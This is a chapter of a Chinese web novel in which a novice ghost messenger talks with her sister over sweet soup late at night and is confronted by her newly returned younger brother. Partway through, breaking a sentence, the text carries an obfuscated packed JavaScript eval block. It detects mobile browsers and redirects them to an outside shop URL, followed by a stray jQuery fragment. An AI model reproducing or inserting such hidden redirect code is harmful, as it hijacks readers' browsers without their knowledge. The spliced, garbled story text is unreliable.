“今天谢谢你。”宋昭愿说。
“不用谢,各取所需罢了。”
袭安澜的语气还是那样淡淡的,但说的话却句句刺进宋昭愿的心,“就是你的定身符能画出跳抖舞的效果也是个人才。也不知道放着那么多我给你的符不用,用你自己画的符干嘛。”
“……你看到了?”宋昭愿只觉得血液冲上头顶,双颊开始发烫。
“全程围观,你在群里发消息的时候我就在外面,本来想等你锻炼一会儿再来。不过还好,还知道摇人求助,我还以为你要在那边傻兮兮硬扛。”
宋昭愿嘴角一抽,撇过头摸着鼻尖不去看他:“你是故意的?难怪我说你电话怎么不接。”
“这种现场会干扰磁场,电话打不通消息发不出都是正常的,有事app联系。还有,我只是想观察一下菜鸟的实战能力,结论是,勇气可嘉。”
袭安澜就是这样,总是面无表情说着些让人血压升高的话。
他说完没看宋昭愿的脸色,摇上车窗发动车子走了。
宋昭愿站在原地,看着那辆车的尾灯消失在夜色里。
夏歆冉也还没进屋,凑过来眼神亮晶晶的:“姐,他真的只是你同事?”
宋昭愿扶额:“你今天晚上都问了几次了?当然是真的啊。”
“我看袭老师很照顾你啊。”
“那只是因为完成任务他也能加业绩!”
这么恶劣嘴欠的男人,还照顾她?
好吧,确实是每次都救她于水深火热之中。
夏歆冉可不信这种话:“以袭老师的水平,真的差这点业绩吗?”
宋昭愿沉默了。
夏歆冉拍了拍她的肩膀,故作深沉地说:“姐,你慢慢想,不急。”
说完,她绽开笑容,转身轻轻进了屋,透过门缝,还能看见一点微弱的光。
宋昭愿站在桂花树下,抬起头。
月亮挂在天上,又亮又圆。
她掏出手机,打开app,功德从2变成7。
聊胜于无。
看着还没显示“已完成”的任务,也不知道KPI能不能多加些,不过想到可能要等阴司解决完后续才能结算,她把手机收起来,深吸一口夜里凉丝丝的空气,小心翼翼地推开虚掩的家门。
客厅里一盏小灯泛着暖烘烘的微光。
夏母坐在沙发上,腿上盖着一条薄毯,上面放着一本摊开的书,显然是在等她们。
“回来了?”她的声音带着困意,起身叠好薄毯放在沙发角落,“厨房里煮了银耳汤,昭愿,以后大晚上的出门也跟家里人说一声。”
宋昭愿愣了一下,点了点头:“好。”
她就知道把张叔喊出门就会惊动两老。
夏母转身上楼,走了两步又回头,欲言又止,最后还是只说了一句:“早点睡。”
宋昭愿站在客厅中央,看着夏母的背影消失在楼梯拐角。
她忽然觉得,这个家,好像真的是她的家了。
走到厨房,就看见夏歆冉在盛汤,见自己姐姐来了,又拿个瓷碗盛了一大碗。
两人就坐在餐桌前,就着那盏昏暗的灯小口小口喝起来。
“姐,还得是你!要是我一个人出门妈可没那么好说话。”夏歆冉端着碗凑到宋昭愿面前竖起大拇指。
“怎么?家里管的很严?”
宋昭愿歪着脑袋,这些天她见到的夏父夏母都很温柔啊,一点也看不出来有什么好害怕的。
她不想让他们知道自己深夜出门,也是不想让他们担心,多一事不如少一事。
“那可不?姐你没看过网上那些言论吗,可都是传我们这家家户户都有门禁,只要在家住就得守规矩。”夏歆冉说这话时,脸上没有一丝困扰,全是自豪。
宋昭愿也略有耳闻,只是没想到会发生在自己身边。
“那我们家的规矩是什么?”
“像不在家吃完饭得在午饭前告知,还有晚上十点必须回家,出远门要报备等等等等,不过姐你来了就不一样了,爸妈现在跟你关系还不熟,不会对你要求这么高的。”
在山里从来没被这样管过的宋昭愿小小的震惊了一下:“那你不会觉得不自在?”
夏歆冉眨眨眼:“没什么不自在的啊,他们也是担心孩子,再说了,到哪都有接送不好吗?”
宋昭愿也答不上来,只得默默喝汤。
“对了姐,刚刚妈有没有跟你说,阿淮回来了。”夏歆冉又凑到宋昭愿耳边轻声道,“都怪他,我说,妈怎么可能这个点会醒。”
“阿淮?”
宋昭愿有点懵,把头从碗里抬起,过了一会儿想起来夏歆冉说的是谁,“你弟?”
夏歆冉没好气地戳着碗里还没碎的银耳:“明明也是你弟。他交流生结束了,之前还说要在国外玩些日子再回来的,大概是听说你回来了,连夜坐了个红眼航班赶回来,一声不吭的,我们走了他才到家,这才把妈吵醒了的。”
难怪之前也没听到夏淮之要回来的消息,看来银耳汤也是给夏淮之煮的,毕竟一直到出门也没有人来敲门说烧了银耳汤。
这么说着,夏歆冉还是有些不放心,沉吟片刻还是小声道:“姐,他脑子不太好,你多担待。”
脑子不太好能去当交流生?
宋昭愿看着夏歆冉,眼神一言难尽。
夏歆冉为了防止被自家姐姐认定自己才是那个“脑子不太好”的人,赶紧组织语言解释。
“诶呀,他就是人有点轴,脾气也有些爆,还是个网瘾少年。”
可能会不待见你……
宋昭愿读出夏歆冉的意思,有些无奈地点点头,没有再搭话。
她懂的,就是原本真假千金剧本没用上,可能改成真千金vs真少爷了。
宋昭愿心里苦,但她不说。
安静的客厅里只有时钟滴答作响。
“歆冉,你是不是以前就认识袭安澜?”宋昭愿抿着嘴还是打破了沉默。
“不认识啊。”已经有些困迷糊的夏歆冉一脸茫然地抬起头,“我们以前关系没那么好,你从来不让我们见你的同事,也从来不跟我们提起你的工作。说来也奇怪,上辈子我连在学校都没见过他。”
不知怎的,宋昭愿松了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948346|213234||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
口气,把憋了一路的话说了出来。
“下次我出任务,你就不要跟着了。”
“为什么?”夏歆冉听到这话也不吃了,放下勺子鼓着嘴巴看着宋昭愿。
宋昭愿反问道:“那我上辈子经常带着你吗?”
想想也知道,连鬼差的工作都不主动提,更不会带她一起去上班了。
“没有,但你救过我几次,我从那时候就很想知道姐姐你是怎么工作的。”见宋昭愿在看自己,夏歆冉眨眨眼,一副萌萌的模样。
宋昭愿知道妹妹有事瞒着自己,她拿着勺子搅着汤里的银耳,声音有些轻:“我不知道我上辈子遇到你的时候有多厉害,但我现在还只是个新上任的鬼差,你跟着我去我也保护不了你,我连我自己都保护不了。”
“要不是今天晚上袭安澜来的快,我们三个就是去送人头的。”
宋昭愿不知道自己出事了回去判官那儿重新来过,还是直接没了下辈子,但她不能去赌夏歆冉和姜悦静的命。
夏歆冉低着头,宋昭愿看不清她的神色,刚想道歉自己的语气有些重,夏歆冉开口了。
“对不起姐姐,是我考虑不周全,下次不会了。”
宋昭愿还没来得及开口,就听见“咚咚咚”的下楼声,紧接着一道声音响起。
“姐,你凭什么给她道歉!”
一个蓬头垢面,下巴上还有些青渣的青年冲到宋昭愿面前,互助夏歆冉,手里还拿着一个陶瓷杯。
宋昭愿看着和自己有七分相像的青年,忍不住按了按太阳穴,求救的眼光看向夏歆冉。
这家伙怎么会下楼的?
她不会大半夜被迫开启“新副本”吧?
夏歆冉也没想到夏淮之会突然冲出来,眼里的惊讶还没收回,就赶紧拍了下夏淮之的后脑勺,轻声但严厉道:“这么晚到家不去睡觉,还来找你姐的麻烦?”
“她欺负你她就不是我姐!”夏淮之梗着脖子喊道,尽管这样,也还知道不惊动楼上的二老。
宋昭愿也担心地朝楼梯瞟了两眼,没听到动静这才松了口气。
夏歆冉也赶紧把夏淮之拉到一旁解释。
也不知道两人说了什么,夏歆冉拍拍夏淮之的肩膀,夏淮之狠狠瞪了宋昭愿一眼,接完水“蹬蹬蹬”上了楼。
夏歆冉一屁股坐回椅子上,叹了口气:“你看吧,他就这副德行。”
“你确定你解释好了?”宋昭愿想着夏淮之最后的眼神,有些怀疑。
“应该吧……”夏歆冉舀了勺银耳汤,“别管他了,他又不是我们H大的,也不会和我们一起去上学,早点喝完早点睡觉,明天还要去上课。”
宋昭愿叹了口气,把刚刚没说完的话补全:“等我什么时候练成了,再带你一起去。”
宋昭愿刚刚也想通了,从app清除记忆的人员里不包含夏歆冉开始,她就觉得有哪里不对劲。她只能相信是判官让夏歆冉带着记忆重生,就是和她有什么关系。
既然这样,等她能够独当一面了,再带着夏歆冉去现场,应该就没事了。
想着,她抿下一口银耳汤,还是好甜。